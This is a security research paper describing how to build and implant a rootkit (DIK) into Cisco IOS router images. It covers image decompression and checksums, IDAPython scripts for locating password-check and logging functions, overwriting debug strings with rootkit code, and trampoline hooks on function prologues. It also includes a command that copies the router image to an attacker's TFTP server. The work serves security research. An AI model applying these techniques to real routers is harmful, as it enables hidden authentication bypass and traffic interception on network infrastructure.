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Abstract
Rootkits are very common in most operating systems, including popular 
Windows, Linux and Unix software, or any variant of those systems, 
however they are rarely found in embedded OSes.

This is due to the fact that most of the time embedded OSes have 
closed source code, with the internals of the software unknown to the 
public, making the reverse engineering process harder than usual.

In real life, it's very common that once an attacker takes control of 
a system, he or she will want to maintain access to it, and in an 
attempt to keep those actions undetected a rootkit will be installed.

The rootkit seizes control of the entire OS running on the 
compromised device by hiding files, processes and network 
connections, and allowing unauthorized users to act as system 
administrators -- while retaining its stealth capabilities and hiding 
the attacker's presence.

This paper demonstrates that a rootkit with those characteristics can 
easily be created and deployed for a closed source OS like Cisco IOS 
and run hidden from system administrators surviving most, if not all, 
of the security measures that can be deployed by experts in the 
field.

As a proof of this theory, several different techniques for infecting 
an IOS target will be described, including image binary patching.

From a practical point of view, one of these techniques will be 
implemented using a set of Python[1] scripts that provide the 
necessary methods to insert a generic rootkit implementation written 
in the C programming language-- called DIK (Da IOS Rootkit)- into the 
target IOS.
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Introduction
The case of Cisco IOS (formerly known as the Internetwork Operating 
System) is unique because it is likely the most widely deployed 
routing OS running on the entire Internet and a fundamental component 
of mission critical networking operations in almost every 
organization.

Network devices are vital to those operations, and sensitive data 
flows through them every second, making them an extremely strategic 
location for attackers to place rootkits to gather information from a 
target.

System administrators need to be prepared for the emergence of these 
types of threats because the attacks could lead to serious exploits, 
including data breaches, before they ever realize that something is 
going on.

Security measures are typically undertaken to detect any abnormal 
operations on Cisco devices, but sometimes those measures may not be 
enough to detect advanced rootkits. These efforts may only unveil 
high-level rootkits such as a TCL script (only recent versions of IOS 
support TCL as a scripting language), or device reconfiguration 
executed via startup-config file to alter routes, packet handling, 
etc. These high-level rootkits are comparable to user-mode rootkits 
in general purpose operating systems such as Windows, Linux and OS X.

Only a small percentage of all system administrators perform periodic 
security audits on their organizations’ network infrastructure to 
detect for potential system compromise. 

These audits may include (but are not limited to) verifying router 
logs, checking external logs that were set by the router when a user 
logged-in or changed the device’s configuration, or even by 
downloading the running IOS image to compare its checksum with a 
previously calculated value from the original IOS image file. 

To conduct any of these actions, the system administrator implicitly 
relies on IOS internal functions and trusts the integrity of the 
running IOS image. If the device is compromised, the logging and 
syslog functions can be altered to cover the attacker's actions 
making the audit completely useless.
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Knowing the enemy
Over the years, Cisco has created multiple hardware configurations 
(even using different CPU architectures -- most commonly PowerPC and 
MIPS) with varied software features sets (i.e., wireless, VoIP) to 
address the needs of its customers. 

This has required that the company also make multiple and unique IOS 
versions available because each iteration demanded a separate build 
process to address the specific feature set running on the involved 
hardware. The combination of multiple hardware platforms and feature 
sets has resulted in the availability of several thousands of unique 
IOS images that could potentially run on a given set of devices.

Another important factor is that IOS was not designed to support 
additional modules or allow for plug-ins to be loaded.

With all this in mind, an initial conclusion might be that the 
development of a generic rootkit that targets IOS might be too 
difficult, if not impossible, to achieve.

However, this paper will demonstrate that this challenge can in fact 
be easily solved with a generic method that addresses the need to 
maintain code for multiple architectures and IOS feature sets, or for 
programming the rootkit core in different assembly languages.

IOS Internals
Cisco IOS has a monolithic architecture which runs as a single image 
with all processes having access to each other’s memory.

No memory protection is implemented between processes, which means 
that a bug in an individual process can (and probably will) corrupt 
other processes and compromise system operations, potentially leading 
to a general failure.

Another characteristic of the Cisco IOS is that its scheduler 
function is not preemptive, as its counterparts on other modern OSes 
would be. 

Cisco IOS uses run-to-completion priority scheduling, which is an 
improved FIFO (First-In, First-Out) scheduler, combined with thread 
priorities. This means that when a process is scheduled, it runs 
until it decides to relinkish the associated privilege and make a 
system call to allow other processes to run on the same priority 
level or higher.
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These high-priority processes can jump to the head of the line and 
run quickly on the CPU. If multiple processes are waiting with the 
same priority, they are processed in the order in which they're 
received (just like basic FIFO).

Newer Cisco IOS images are usually made of a 32-bit ELF file running 
on a piece of hardware with a RISC processor (most commonly MIPS or 
PowerPC). 

It's important to note that Cisco engineers modified some of the 
values from a standard ELF header so that any tool trying to obtain 
information from the file will find lots of invalid values, thus 
making initial diagnostic a little bit annoying.

Possible image modification techniques to obtain a valid ELF file 
will be discussed later and also how this is achieved by DIK.

IOS initial setup on memory
This image contains a self-decompressing (SFX) header that unpacks 
the fully functional IOS code which will be relocated in memory 
during run-time.

It is compressed because it contains many strings that occupy 
precious memory, resources that are needed more all the time with the 
continued arrival of newer IOS versions with additional feature sets.

Image decompression and relocation involves several steps which must 
be understood since the image downloaded from the device is not the 
actual image that runs when the device is powered on. As previously 
noted, this is merely a file that self-decompresses at run-time to 
execute the real IOS OS code. So, in order to place a backdoor the 
uncompressed image is needed.

For that reason, the compressed IOS image is the one that will be 
manipulated first to unpack it's content, then analyzed as to figure 
out how to insert (binary modify) the backdoor and finally repack the 
image to return in back to the device.

Repacking the image means that its checksums must be recalculated to 
reflect the binary manipulation that has been completed so that it 
can pass through initializing tests that would forbid the modified 
image from running on the device when a valid checksum is not found.

An IOS compressed image has the following structure:
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+------------------------------+
|         ELF header           |
+------------------------------+
|          SFX code            |
+------------------------------+  --+
|      Magic (0xFEEDFACE)      |    |
+------------------------------+    |
|    Compressed image length   |    |
+------------------------------+    | Magic
|   Compressed image checksum  |    | Structure
+------------------------------+    |
|  Uncompressed image checksum |    |
+------------------------------+    |
|   Uncompressed image length  |    |
+------------------------------+  --+
|                              |
|       Compressed image       |
|                              |
+------------------------------+

The magic structure is used by the decompression routine so that it 
can obtain the values needed for the different checksums that are 
calculated using the specified lengths expressed in words (4 bytes). 
This means that if the specified length is 1024, then the value is:
1024 words x 4 bytes per each word = 4096 bytes

This structure is also a pointer to the beginning of the compressed 
code.

Once the device powers on, it will start the ROM Monitor which will 
perform several steps to load the IOS image and will use the magic 
structure elements during this process.

This process involves seven steps:

1. The ROM Monitor will load and position the SFX image at its link 
address in memory (either from a flash boot or a netboot) as the 
ELF header specifies. This is when the image file is copied from 
the file system to the device memory and the main routine is 
invoked.

2. Now the magic structure is located using the value of a global 
variable called 'edata' that is initialized by the ROM Monitor. 
At this point, this variable points directly to the structure 
containing the values needed to checksum and decompress the 
image.
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3. The routine in the SFX image then checks to ensure that enough 
memory is available for decompression using the value of the 
field 'uncompressed image length' of the magic structure. If 
there is not enough memory available, then the code returns to 
the ROM Monitor with a software force reload signal after 
generating a message containing the text:
“Error : memory requirements exceed available memory”.
Also remember that the return to the monitor is not intended to 
occur unless a reload was initiated.

4. A checksum of the compressed image is calculated and the result 
is compared against the value stored in the file to ensure that 
no corruption has occurred. The checksum algorithm is very 
simple and works using the length field value (either the 
compressed or the uncompressed) from the magic structure.

The code that calculates the checksum is similar to the 
following:

int nwords = compressed_size / sizeof(ulong);

    unsigned long sum   = 0; // contains the checksum result
unsigned long val   = 0; // temporary value

    unsigned char* bufp = (uchar*) ptrData; // pointer to
 // data to verify

    while (nwords--) {
val = *bufp++;
sum += val;
if (sum < val) { /* There was a carry */

sum++;
         }
    }

5. The compressed code is then moved to a higher memory location 
and the BSS section is initialized with zeros.

6. The decompression process takes place. The decompressed image is 
also checksummed to ensure there was no corruption and if it 
fails, then a message containing the text “Error: uncompressed 
image checksum is incorrect” is displayed. Also, the size of the 
decompressed image is compared against the value stored in the 
header to ensure that was completely successful.

7. Using an internal function called copy_and_launch(), the code 
relocation phase takes place moving the image to the specified 
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address in the ELF file header so the image entry point is 
called. It's worth mentioning that if this call returns, then 
“Error: copy_and_launch() returned” is displayed.

The beginning of the end
The rootkit will locate certain key (and usually low-level) functions 
of the OS that is being compromised to perform a binary patch and 
then hook them.

These functions are strategic code locations that will allow the 
attacker to intercept data of interest.

They could be grouped by their functionality:

● System Login
● Authentication and authorization
● File system access
● Networking operations
● Process handling
● Information display
● System Logs
● Debugging and core dumps

This paper will demonstrate how to identify only some of those 
functions because the identification procedure is the same for all of 
them.

In the case of a closed source OS like Cisco IOS, the first thing to 
do is identify the code that carries out the involved functions.

In order to perform an analysis, it is necessary to obtain the image 
running on the target device. This can be easily done by configuring 
an FTP or TFTP server on a machine controlled by an attacker, and 
then issuing a copy command on the Cisco device command line like the 
following:

Router# copy flash:c2691-i-mz.123-22.bin tftp://172.23.1.12/c2691-i-mz.123-22.bin
Verifying checksum for `c2691-i-mz.123-22.bin' (file # 1)...[OK] 
Writing test

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
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Upload to server done

Flash device copy took 00:00:08 [hh:mm:ss]

Router#

With the target IOS image downloaded it's now possible to decompress 
it and then proceed to the analysis phase, modify the binary and 
infect it.

Though binary patching is not the only way to do this, other possible 
infection methods will be explained later.

Chasing the prey
Once the file was obtained, a few steps must be followed to be able 
to analyze the IOS image and correctly detect the previously 
mentioned functions:

1. As previously stated, the image inside the device is compressed, 
so you must proceed to decompress it. The decompression process 
is the same as for any zipped file so it's also possible to use 
any free unzip utility to do it. Once the image is unpacked the 
script will checksum it to ensure that there was no corruption.

2. The decompressed image, called C2691-I-.BIN, must be analyzed 
using IDA Pro[3] to obtain crucial information for the rootkit’s 
survival. This can take several minutes, even hours, because 
uncompressed IOS image files take up several megabytes 
(especially those versions with advanced features sets).

3. Once IDA finishes, the image won't be completely analyzed 
because several functions and multiple string references will be 
missing. To address this problem another script will be used. It 
utilizes IDAPython[4] to automate the function and string 
recognition process.

The script performs its task in a two phase process:

○ First it'll look for known segments of CODE type and iterate 
over every instruction aligned to a 4 byte memory boundary. 
If the instruction is not actually part of a function, then 
the function is created and IDA takes care of detecting its 
end. The script then moves to the instruction after the end 
of the previously recognized function and tells IDA that this 
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belongs to a function, and so on. This is done in IDA-Python 
with a script like this:

class EnhancedAnalysis:

    RESULT_OK   = 0
    RESULT_ERR  = 1
    WAS_BREAK   = 2

    def __init__(self):
        self.data_segs  = list()
        self.code_segs  = list()

    def createUnresolvedFunctions(self):
        """
        Analyze the code section to find every non-function byte and 
        create a function at that position. This is highly reliable 
        because CISCO compiler creates one function after another
        and every instruction is aligned to 4bytes because of the 
        RISC arch.
        """

        print '[+] Processing CODE segments:'

        # Iterate through each code segment available
        for seg in self.code_segs:
            curr_address        = seg.startEA
            counter             = 0
            initial_funcs_qty   = get_func_qty()
            result              = self.RESULT_OK

            print '    Analyzing \'%s\'...' % SegName(seg.startEA), 

            # Start iteration on every non-function byte until we 
            # reach the end of the current working segment.
            while curr_address < seg.endEA:

                # If 'cancel' button was pressed, stop
                # processing functions.
                if wasBreak():
                    result = self.WAS_BREAK
                    print 'Cancelled'
                    return

                # Get the next address that is not a function 
                # recognized by IDA.
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                next_address=find_not_func(curr_address,SEARCH_DOWN)

                if next_address != BADADDR and \
                   next_address != 0xFFFFFFFF:
                    if MakeFunction( next_address, BADADDR ) != 0:
                        counter += 1
                    curr_address = next_address;

                # Check if we reached the end of the code segment
                if get_item_size( curr_address ) == 0:
                    break

                curr_address = get_item_end( curr_address )

                # Detect an invalid item or function at the
                # current position.
                if curr_address == BADADDR or \
                   curr_address == 0xFFFFFFFF:
                    result = self.RESULT_ERR
                    break

            print 'Done'

        print '[+] Created a total of %d new functions' % counter
        return result

○ With functions correctly detected, every instruction aligned 
to a 4 byte memory address in DATA type segments is then 
iterated to recognize every string reference belonging to 
those functions.

The script performs additional checks to ensure that the 
values at the memory address being analyzed are a string, 
instead of a reference (pointer) to it. 

For example, in a case where the DATA segment begins at 
0x70610000, the script tries to determine if the value 
0x71617373 is the string “pass” or a reference to the memory 
address where a string could be stored.

Next is a part of the IDA-Python script that performs those 
tasks:
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    def createUnresolvedStrings(self):
        """
        This function converts every aligned string into a IDA 
        string so that it can be referenced from the disassembly.
        Because of RISC architecture every string is aligned to a 4 
        byte boundary and the rest of -unaligned- the bytes until 
        the next string are padded with zeros.
        """

        refresh_strlist(0, 0xffffffff)
        new_str_counter = 0 # new strings found counter

        print '[+] Processing DATA segments:'

        # Iterate through each code segment available
        for seg in self.data_segs:
            curr_address    = seg.startEA
            initial_str_qty = get_strlist_qty()

            print '    Analyzing \'%s\'...' % SegName(seg.startEA), 

            # Remove current area format before we reanalize it.
            self.undefineArea(curr_address, seg.endEA)

            while curr_address == BADADDR or curr_address<seg.endEA:

                # If 'cancel' buttom was pressed, stop 
                # processing strings.
                if wasBreak():
                    print 'Cancelled'
                    return

                # Check every 4 bytes (32 bits alignment)
                if curr_address % 4:
                    curr_address += 4 - (curr_address % 4)

                # Check if this is a value ready to be converted 
                # either to string or dword.
                curr_byte = get_byte(curr_address)

                # If we find a printable or control character, 
                # probably it's a string.
                if (curr_byte >= 0x20 and curr_byte < 0x7f) or \
                    curr_byte == 0xA or curr_byte == 0xD or \
                    curr_byte == 0x9:
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                    # Before converting it to a string or dword, we 
                    #  check segments address space and compare it
                    #  with the 4 byte value at the current address 
                    #  being processed.
                    # This way we can detect any offset to a 
                    #  function or to a string or data in
                    #  the same segment or a simple string array.
                    #
                    # Example: It may happen that a string
                    #  'abcd' (0x61626364) is detected as an
                    #  offset if 0x61XXXXXX is a valid segment 
                    #  address, so this would be an error.
                    # To avoid this I think we should not only check 
                    #  the first character but the other, too.
                    dw_curr_address = get_long(curr_address)
                    for code_seg in self.code_segs:
                        code_seg_end_ea = code_seg.endEA
                        transform_to    = ''

                        if dw_curr_address != 0xFFFFFFFF:
                            if ((dw_curr_address >= seg.startEA) \ 
                               and (dw_curr_address <= seg.endEA))\
                               or \
                               ((dw_curr_address>=code_seg.startEA)\ 
                               and \
                               (dw_curr_address <= code_seg.endEA)):

                                transform_to = 'dword'
                                break # Do not continue checking
                            else:
                                transform_to = 'string'
                        else:
                            transform_to = 'string'
                else:
                    transform_to = 'dword'

                if transform_to == 'string':
                    # We did not use MakeStr because of a bug in
                    #  IDAPython and because we can't set the 
                    #  3rd parameter.
                    if make_ascii_string(curr_address, 0, ASCSTR_C):
                        new_str_counter += 1
                else:
                    MakeDword(curr_address)
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                # Check if we reached the end of the segment
                if get_item_size( curr_address ) == 0:
                    break

                curr_address = get_item_end( curr_address )

            print 'Done'

        # Report the number of new strings found
        print '[+] Converted %d strings' % new_str_counter
        return result

After a few minutes, all strings that are not recognized by IDA 
Pro will be created and several new strings will be found. The 
following is the script's output to the IDA message console:

Initiating enhanced CISCO IOS analysis...

[+] Found CODE segment '.text' at 0x80008000
[+] Found DATA segment '.rodata' at 0x80CEA424
[+] Found DATA segment '.data' at 0x81145AB0
[+] Found DATA segment '.sdata' at 0x812A3AF8
[+] Processing CODE segments:
    Analyzing '.text'... Done
[+] Created a total of 18204 new functions
[+] Processing DATA segments:
    Analyzing '.rodata'... Done
    Analyzing '.data'... Done
    Analyzing '.sdata'... Done
[+] Converted 176773 strings
[+] Enhanced analysis took  7.03 minutes

As you can see, once the script finishes, the image is ready to use 
and can be examined by the attacker to gain knowledge of Cisco IOS 
internals using all the new information acquired by IDA.

Successful IOS image analysis is very important because it contains 
plenty of debugging strings to provide verbose information to the 
system administrator about the OS state. Those debug strings will be 
used as a starting point to detect the key functions of the OS and 
because it's known for sure that these strings remain the same across 
multiple IOS versions.
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Resistance is futile
Some of those interesting functions might not be located because of 
compiling issues or it might not be possible to retrieve any string 
references in some cases simply because they do not use any strings 
at all.

As stated before, the IOS contains plenty of strings, most of which 
offer debugging information, and others that merely output commonly 
seen messages to the user terminal. These messages can be located in 
functions close to those that we are looking for, and, knowing that 
they will not be moved by the compiler, it's possible to try to find 
these 'neighbor' functions and then identify the ones relevant to the 
rootkit functionality and hook them. 

Function reordering is common on modern compilers, but this is not 
the case in the compiler used by Cisco so our approach is reliable in 
this scenario. IDA Python will be used to help us to locate the 
necessary strings and the code references attached to them. For this 
purpose, a class was created inside of the script that will perform 
the binary patch. This class will take a list of predefined strings 
and will perform the search operation returning to a list of cross-
references (IDA's xrefs) to those strings.

The memory location referencing those strings is the memory location 
of the involved functions, so now it's just a matter of asking IDA 
about the beginning of the function to know where a jump to the 
rootkit code can be inserted.

The location of neighbor functions is not necessarily immediate to 
the one needed for the rootkit, there could be another function 
without any string references separating them, but this approach will 
still succeed.

To illustrate the functions recognition method a functions layout 
will be shown next as an example:
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+------------------------------+
|       neighbor_minus_2       | <- uses a unique string.
+------------------------------+
|       neighbor_minus_1       |
+------------------------------+
|                              |
|           chk_pass           | <- function of interest
|                              |      for the rootkit
+------------------------------+
|       neighbor_plus_1        |
+------------------------------+
|       neighbor_plus_2        |
+------------------------------+

In the case that the function chk_pass() doesn't contain any string 
but the function neighbor_plus2() does, the following steps must be 
accomplished to locate the chk_pass() function:

1. Iterate through the list of strings on IDA to search for the 
strings referenced by function neighbor_plus2(). In IDA-Python 
this can be done by a simple function like this:

def funcString(string_to_find):
    """Function to find the specified string among all"""

    # Refresh the list of IDA strings
    refresh_strlist(0, 0xFFFFFFFF)

    # Store information about the specified string
    string_info = string_info_t()

    # Iterate through every string available
    for i in range(get_strlist_qty()):
        # Get the current string item to compare against the list
        get_strlist_item(i, string_info)

        if len(string_to_find) == string_info.length:
            # Found flag
            string_missmatch = False

            # Byte-to-byte comparison is quicker that entire string
            for j in range(string_info.length):
                if ord(string_to_find[j]) != Byte(string_info.ea+j):
                    string_missmatch = True
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            # return string address
            if string_missmatch == False:
                return string_info.ea

    return 0 # string not found

2. Obtain a list of every data reference (IDA calls it 'dref' -- a 
reference to a data in the specified memory address) to the 
string used to identify the function chk_pass() with the 
following code:

def getDataRefs(string_address):
    # Store the list of data references to the specified string
    string_drefs = list()

    ref = get_first_dref_to(string_address)

    while ref != BADADDR:
        # Check if list is empty to avoid further validations
        if len(string_drefs):
            # Check if previous ref is the same.
            # Explanation is in the text bellow !!!
            if (string_drefs[-1] + 4) == ref:
                continue
        else:
            # Add the first reference to the list
            string_drefs.append(ref)

        string_drefs.append(ref)
        ref = get_next_dref_to(string_address, ref)

    return string_drefs

Keep in mind that in RISC architectures the memory reference 
values are loaded using two instructions because a 32-bit memory 
address cannot be referenced directly using only 4 byte 
instructions. This way two data references will be issued (one 
to refer to the upper 2 bytes, and another for the lower 2 
bytes) that still belong to the same source code.

Due to the fact that the compiler puts those two instructions 
together, a check is issued to verify if the last appended 
referenced address, plus 4, is equal to the current reference. 
It will happen that IDA will detect LA (Load Address) macro 
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instruction in MIPS. Do not confuse this with PowerPC LA (Load 
Address) instruction, which is a macro for the ADDI instruction.

An example of string pointer load on PowerPC disassembly 
follows:

.text:801C37D0 lis     %r6, aVerifyPass@h # "Verify pass"

.text:801C37D4 addi    %r6, %r6, aVerifyPass@l # "Verify pass"

The LIS (Load Immediate Shifted) loads the upper 2 bytes of the 
memory address of the string in register R6 while the 
instruction ADDI (Add Immediate) loads the lower 2 bytes to R6. 
Now the register contains the memory address of the string.
 
In an IOS image running on MIPS architecture, the following 
disassembly code is obtained:

.text:60201084 la      $a3, aVerifyPass  # "Verify pass"

The LA (Load Address) macro instruction is recognized by IDA but 
it is not a real instruction because it's a macro wrapping the 
following code:

.text:60201084 lui     $a3, 0x6118  # "Verify pass"@h

.text:60201088 addiu   $a3, 0x7334  # "Verify pass"@l

The first instruction is LUI (Load Upper Immediate) and loads 
the 2 upper bytes into register A3 and then the instruction 
ADDIU (Add Immediate Unsigned) adds the 2 lower bytes making 
register A3 a pointer to the memory address containing the 
string.

3. Now the memory address containing the code that references the 
string in function neighbor_minus_2() is known. It's also known 
that the function chk_pass() is two functions away from the 
function neighbor_minus_2() so it can be resolved easily using 
IDA-Python:

# xref_found contains the address of the code referencing
#  the string that was previously obtained.

fn_neighbor_minus_2 = get_func(xref_found)
fn_neighbor_minus_1 = get_next_func(fn_neighbor_minus_2.startEA)
fn_chk_pass          = get_next_func(fn_neighbor_minus_1.startEA)
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first_inst_address   = fn_chk_pass.startEA

With those easy steps, the memory address of the first instruction 
pointing to the function prologue will be obtained.

The function prologue will be replaced by a hook to jump to our code 
but this will be explained in detail later.

Also note that the neighbor function could be located at any distance 
or from any direction (before or after) from the function chk_pass() 
so this approach will still work because the compiler puts one 
function after another as declared in the source code.

Home sweet home
The rootkit location must be decided before any image patching takes 
place (whether it is on the file or at run-time) because the patches 
applied at the beginning of every function will jump to the rootkit 
code and they must know its memory location.

Taking advantage of IOS memory management protection (or the lack of 
it) rootkit code will be written on the DATA segment by sacrificing a 
debug string which will almost probably never be used. Cisco IOS has 
plenty of these strings and most of them are common along several 
versions (if not all).

Just in case the system administrator decides to use some IOS feature 
that requires that string, a NULL character will be written at the 
first character to avoid string displaying problems and also to avoid 
user suspicion. To find a specific string, refer to the previous 
section were IDA-Python is used for this purpose.

There are several ways to insert the rootkit code in the file and 
they are all well known for any Linux virus writer because it's 
mainly a standard ELF infection procedure[5][6].

For example, knowing that every ELF section is aligned to a memory 
page size, one possible technique is to use the unused space between 
sections. This requires section length modifications on the ELF 
header but this is easy to achieve.

Another way to infect the image is adding new sections at the end of 
the file, but this requires extensive ELF header and sections header 
table modifications.
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No detailed explanation will be given about those techniques, and 
only for the sake of clarity is it mentioned that overwriting an 
existing string resource in the file is the method chosen because it 
doesn't require any ELF header manipulations.

This method is the easiest in this case because IOS images contain 
very long strings that are rarely used and there is no need to modify 
the ELF header values because every section and segment remains the 
same. The downside of this method is that it requires a bigger 
footprint because of the sacrifice of debug strings which could 
compromise our rootkit presence on the system.

As mentioned at the beginning of the paper, the rootkit core will be 
implemented in plain C so we must compile the rootkit and extract 
from it the functions which perform the tasks needed -- without the 
whole image headers (we will probably setup GCC[7] to cross-
compile[8] to PowerPC-ELF or to MIPS-ELF, so ELF file headers must be 
avoided).

After extracting the rootkit code from the resulting file, a chunk of 
bytes will be obtained and this is the code that will be written over 
the selected string, but this will be covered in detail later.

In some cases the DATA segment permissions (in which the string 
resides) need to be changed to RWX (Read-Write-eXecute) because those 
sections were previously used to allocate strings and no code 
execution capability was required from them.

In case the attacker preferred to create an additional section in the 
image file, ELF file header modification or any other operation on 
the file sections or segments, could be easily done with the PyElf[9] 
library specially created for this project.

It is also possible to change file section permissions to add EXEC 
using our PyElf as shown in the following example:

from pyelf import Elf
from sections import SHF_EXECINSTR

ios_filename = 'C2691-I-.BIN'
elf = Elf(ios_filename)

# Assuming that section number 3 is '.text'
data_sec = elf.sections[3]
print '[-] Old flags: %s' % data_sec.getFlagsString()

Page 19 of 37



# Adding EXEC flag
print '[-] Adding SHF_EXECINSTR flag: %s' % SHF_EXECINSTR[1]
data_sec.setFlags(data_sec.getFlags() | SHF_EXECINSTR[0])
print '[-] New flags: %s' % data_sec.getFlagsString()

# Write down new file values to the same filename
# with '.new' extension added.
elf.writeFile(ios_filename + '.new')

Image manipulation must be done very carefully because it will be 
relocated after the decompression process and any invalid memory 
reference could lead to an exception resulting in a system crash.

In the preceding paragraphs, a number of methods to insert the 
rootkit code have been mentioned, but they all have something in 
common -- the rootkit code must be addressable from current IOS 
functions so the memory address selected to store the code is needed.

Rootkit address book: Functions to 'call' in it
Since the method selected to place our rootkit inside the IOS image 
is to overwrite existing strings, the first step is to read the 
rootkit that was previously compiled to extract the necessary code 
(this is achieved using a script mentioned bellow) for the current 
architecture whether it's MIPS or PowerPC, and write it at the 
selected string location.

Once this is done, the memory address that points to the end of the 
rootkit code must be stored for further operations on the image.

Next, every function offset inside the precompiled rootkit C code 
must be known, so when an IOS function is patched to call to its 
rootkit counterpart, the address of the rootkit function must be 
inserted inside the shellcode that will produce the jump.

For example, when redirecting execution flow from IOS image 
chk_pass() function call to the rootkit counterpart function, the 
offset of the rootkit function inside the entire compiled rootkit 
code is needed to jump to its location relative to the original IOS 
function and then return. If the exact location of the rootkit 
function is not known, then most likely an exception will eventually 
be generated. 

A more in-depth explanation will be given later about this issue and 
why it's so important. For now, let just focus on obtaining the 
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rootkit code and its function’s offsets and symbols.

To dump the code disassembly to a file on disk, GCC will be used to 
compile the rootkit code and then taking advantage of ELF 
manipulation tools included in the binutils package[10]. A text 
output will be generated using objdump utility[11] to disassembly the 
code and obtain a map of it's symbol locations.

Next is a sample output from this tool:

Disassembly of section .text:

01800490 <chk_pass-0x4>:
 1800490:       42 4f 46 5f     bcla-   18,4*cr3+so,465c ; "BOF_"

01800494 <chk_pass>:
 1800494:       94 21 ff d0     stwu    r1,-48(r1)
 1800498:       7c 08 02 a6     mflr    r0
 180049c:       93 e1 00 28     stw     r31,40(r1)
 18004a0:       90 01 00 34     stw     r0,52(r1)
....
 1800508:       7c 08 03 a6     mtlr    r0
 180050c:       83 eb ff f8     lwz     r31,-8(r11)
 1800510:       7d 61 5b 78     mr      r1,r11
 1800514:       4e 80 00 20     blr

01800518 <chk_pass_md5>:
 1800518:       94 21 ff e0     stwu    r1,-32(r1)
 180051c:       7c 08 02 a6     mflr    r0
 1800520:       93 e1 00 18     stw     r31,24(r1)
 1800524:       90 01 00 24     stw     r0,36(r1)
....
 1800620:       7c 08 03 a6     mtlr    r0
 1800624:       83 eb ff f8     lwz     r31,-8(r11)
 1800628:       7d 61 5b 78     mr      r1,r11
 180062c:       4e 80 00 20     blr
 1800630:       45 4f 46 5f     .long 0x454f465f   ; .ascii "EOF_"

01800634 <_start>:
 1800634:       94 21 ff e0     stwu    r1,-32(r1)
 1800638:       93 e1 00 18     stw     r31,24(r1)
...

Those symbols containing the function names and addresses will be 
parsed by a Python program specially created to return the 
appropriate information. In the addresses 0x1800490 and 0x1800630, 

Page 21 of 37



two ASCII strings can be observed. 

Those two strings are marker flags set in the plain C rootkit code 
and used by the scripts to extract the code in between -- which is 
the rootkit compiled code for the target architecture (whether it's 
MIPS or PowerPC) and of interest to us. This way the unnecessary code 
is left behind and only a small amount of code is kept to be inserted 
into the IOS image.

The resulting file containing disassembly code, symbols and opcodes 
for every instruction will be processed by a Python script giving a 
Python tuple object of the two elements as a result.

The first element (variable code_indexes) is a Python dictionary 
object indexed by function name and containing the function’s 
starting offset as the second element of the tuple. The second 
element (variable code_instructions) contains a Python list object 
with every instruction and the corresponding opcode values to write 
into the selected string of the IOS image. The relation between them 
is the following:

       code_indexes[]                       code_instructions()
+------------------+-------+        +-----------+------------------+
| Function Name    |Offset |        |  Opcode   |     Instruction  |
+------------------+-------+        +-----------+------------------+
| chk_pass         | 0     |<------>|0x9421ffd0 | stwu  r1,-48(r1) |
|                  |       |        |           |                  |
| chk_pass_md5     | 30    |<----+  |    ...(30 items between)...  |
|                  |       |     |  |           |                  |
| open_file        | 85    |<-+  +->|0x9421ffd5 | stwu  r1,-43(r1) |
|                  |       |  |     |           |                  |
+------------------+-------+  |     |    ...(55 items between)...  |
                              |     |           |                  |
                              +---->|0x7c030378 | mr    r3,r0      |
                                    |           |                  |
                                    |    ...(more items)...        |
                                    +-----------+------------------+

As you can see, the dictionary object called code_indexes uses the 
function’s name as its key and the corresponding value is the offset 
to the second object called code_instruction that contains the parsed 
output with instructions and its opcodes.

This works either on PowerPC and MIPS platforms because it uses the 
output of the Python script, which is almost the same for both 
architectures (the script takes care of small differences on the 
output).
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Code voyeurism and fetishism
Once the key functions are found, rootkit insertion will be discussed 
using a binary patching technique on the IOS image. Once in control 
of the function, it will take different actions based on the 
parameters passed at run-time.

Let's take for example the password-checking function. In this case 
the rootkit must take control at the beginning of the function (known 
as prologue) to check if the rootkit password was entered. In that 
case the original password check function won't be executed, 
otherwise it will be as if nothing had happened.

That means that some instructions (architecture dependent) will be 
overwritten at the prologue of the function and stored for further 
usage.

Next is a common function prologue from an IOS running on PowerPC:

.text:803B6434    stwu    %sp, -0x18(%sp) ; create stack

.text:803B6438    mflr    %r0             ; move ret addr to %r0

.text:803B643C    stmw    %r30, 0x10(%sp) ; save previous values

.text:803B6440    stw     %r0, 0x1C(%sp)  ; store ret addr on stack

.text:803B6444    mr      %r31, %r3       ; move params to use

.text:803B6448    mr      %r30, %r4       ; ...

.text:803B644C    li      %r0, 0

.text:803B6450    stw     %r0, 0x18+var_10(%sp)

Due to the nature of the RISC architecture (despite the differences 
between MIPS and PowerPC) the return addresses must be stored by the 
function prologue because (as a difference to x86) it’s stored in a 
register called LR (Link Register) instead of in the stack. Saving 
the return address and registers whose values must prevail intact 
after the function returns is one of the tasks of the prologue.

In order to take control of the execution flow, the first instruction 
of the original function of IOS targeted for redirection (in the case 
of PowerPC, the first two instructions for IOS running on  MIPS) must 
be overwritten with a jump to a location with specific shellcode 
which was previously selected by replacing a debug string used inside 
the IOS.

The instruction that overwrites the function prologue is called 
trampoline and will redirect the execution flow to a location known 
as glue code.

Page 23 of 37



The trampoline is responsible for jumping immediately (and 
unconditionally) to attacker-specific code that will make some stack 
arrangements based on a previously known number of parameters to be 
passed to the rootkit function and ultimately call the appropriate 
function in the rootkit code.

The glue code is responsible for the following:

1. Saving the return address. Due to the fact that the code from 
the trampoline 'jumped' to the glue code, this is the address of 
the instruction following the one that called the original IOS 
function.

2. Storing the function parameters currently allocated in processor 
registers into the stack.

3. Allocating space on the stack for an extra function parameter 
needed by the rootkit C code.

4. Calling the rootkit plain C code.

5. Processing the return value of the rootkit C code to decide 
whether to continue the execution of the original IOS function 
or return directly to the caller.

6. If the execution of the original function must continue, then 
the original function call parameters stored in the stack are 
restored, the overwritten instructions from the original IOS 
function are executed, and finally a jump to the instruction 
next to the trampoline is performed.

7. If the execution of the original function must not be performed, 
the value at the memory allocated for the extra parameter is 
copied into the register that contains the return value of the 
original function followed by a jump to the return address 
stored in step number one.

This high level explanation is intended to briefly explain the 
functionality of the glue code and to express that it is a vital part 
of the bridge that communicates the original IOS functions (now 
subverted) with the counterpart rootkit functions written in plain C.

